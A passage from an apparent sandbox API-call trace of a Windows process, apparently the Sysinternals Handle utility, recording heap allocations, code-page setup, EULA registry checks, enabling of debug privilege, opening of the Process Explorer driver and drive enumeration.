Size=0x48) returned 0x356560 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2a) returned 0x35de40 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x28) returned 0x355f00 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1a) returned 0x355f30 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4a) returned 0x361a40 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x72) returned 0x361aa0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x30) returned 0x35de80 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2e) returned 0x35dec0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1c) returned 0x355f60 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd2) returned 0x361b20 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x7c) returned 0x361c00 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3a) returned 0x3565b0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x90) returned 0x361c90 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x24) returned 0x355f90 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x30) returned 0x35df00 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x36) returned 0x35df40 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3c) returned 0x356600 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x52) returned 0x361d30 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3c) returned 0x356650 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x18) returned 0x361d90 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x82) returned 0x361db0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2e) returned 0x35df80 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1e) returned 0x355fc0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2c) returned 0x35dfc0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x54) returned 0x361e40 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x52) returned 0x361ea0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2a) returned 0x35e000 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3c) returned 0x3566a0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x54) returned 0x361f00 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x24) returned 0x355ff0 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x30) returned 0x35e040 [0081.046] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x8c) returned 0x35ffe0 [0081.046] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x360b20 | out: hHeap=0x340000) returned 1 [0081.047] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1000) returned 0x360080 [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] GetACP () returned 0x4e4 [0081.047] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x228) returned 0x361090 [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] IsValidCodePage (CodePage=0x4e4) returned 1 [0081.047] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0081.047] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0081.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엔ﰝ芧") returned 256 [0081.047] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엔ﰝ芧", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0081.047] GetLastError () returned 0x0 [0081.047] SetLastError (dwErrCode=0x0) [0081.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0081.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0081.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0081.048] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0081.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0081.048] GetLastError () returned 0x0 [0081.048] SetLastError (dwErrCode=0x0) [0081.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0081.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0081.048] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0081.048] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0081.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0081.048] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x100) returned 0x3612c0 [0081.048] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0081.048] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3612c0) returned 0x100 [0081.049] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0081.049] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0081.049] GetCurrentProcess () returned 0xffffffffffffffff [0081.049] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0081.049] GetLastError () returned 0x0 [0081.049] SetLastError (dwErrCode=0x0) [0081.049] GetLastError () returned 0x0 [0081.049] SetLastError (dwErrCode=0x0) [0081.049] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0081.049] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0081.049] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0081.049] RegCloseKey (hKey=0x78) returned 0x0 [0081.049] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0081.049] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0081.050] RegCloseKey (hKey=0x78) returned 0x0 [0081.050] GetLastError () returned 0x0 [0081.050] SetLastError (dwErrCode=0x0) [0081.050] GetLastError () returned 0x0 [0081.050] SetLastError (dwErrCode=0x0) [0081.050] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0081.050] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0081.050] RegCloseKey (hKey=0x78) returned 0x0 [0081.050] GetLastError () returned 0x0 [0081.050] SetLastError (dwErrCode=0x0) [0081.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0081.050] GetCurrentProcess () returned 0xffffffffffffffff [0081.050] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x78) returned 1 [0081.050] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0081.393] AdjustTokenPrivileges (in: TokenHandle=0x78, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0081.393] GetLastError () returned 0x0 [0081.393] CloseHandle (hObject=0x78) returned 1 [0081.393] GetLastError () returned 0x0 [0081.393] SetLastError (dwErrCode=0x0) [0081.393] GetLastError () returned 0x0 [0081.393] SetLastError (dwErrCode=0x0) [0081.393] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0081.393] SeCaptureSubjectContext (in: SubjectContext=0xfffff88005452598 | out: SubjectContext=0xfffff88005452598) [0081.393] ExGetPreviousMode () returned 0xfffffa8003684001 [0081.393] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880054525b8, SubjectSecurityContext=0xfffff88005452598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880054525b8) returned 1 [0081.393] SeReleaseSubjectContext (in: SubjectContext=0xfffff88005452598 | out: SubjectContext=0xfffff88005452598) [0081.393] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.394] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.394] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0081.394] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.394] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0081.394] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.394] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0081.394] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.394] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0081.394] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.394] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.395] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0081.395] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.396] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0081.396] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.396] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0081.396] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0081.396] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0081.396] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0081.396] GetLastError () returned 0x0 [0081.396] SetLastError (dwErrCode=0x0) [0081.396] GetLastError () returned 0x0 [0081.396] SetLastError (dwErrCode=0x0) [0081.396] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0081.396] GetLastError () returned 0x0 [0081.396] SetLastError (dwErrCode=0x0) [0081.396] GetLastError () returned 0x0 [0081.396] SetLastError (dwErrCode=0x0) [0081.396] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0081.397] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xbc) returned 0x0 [0081.397] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xbc, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0081.397] CloseHandle (hObject=0xbc) returned 1 [0081.397] RtlInitUnicodeString (in: DestinationString=0x12dac0, 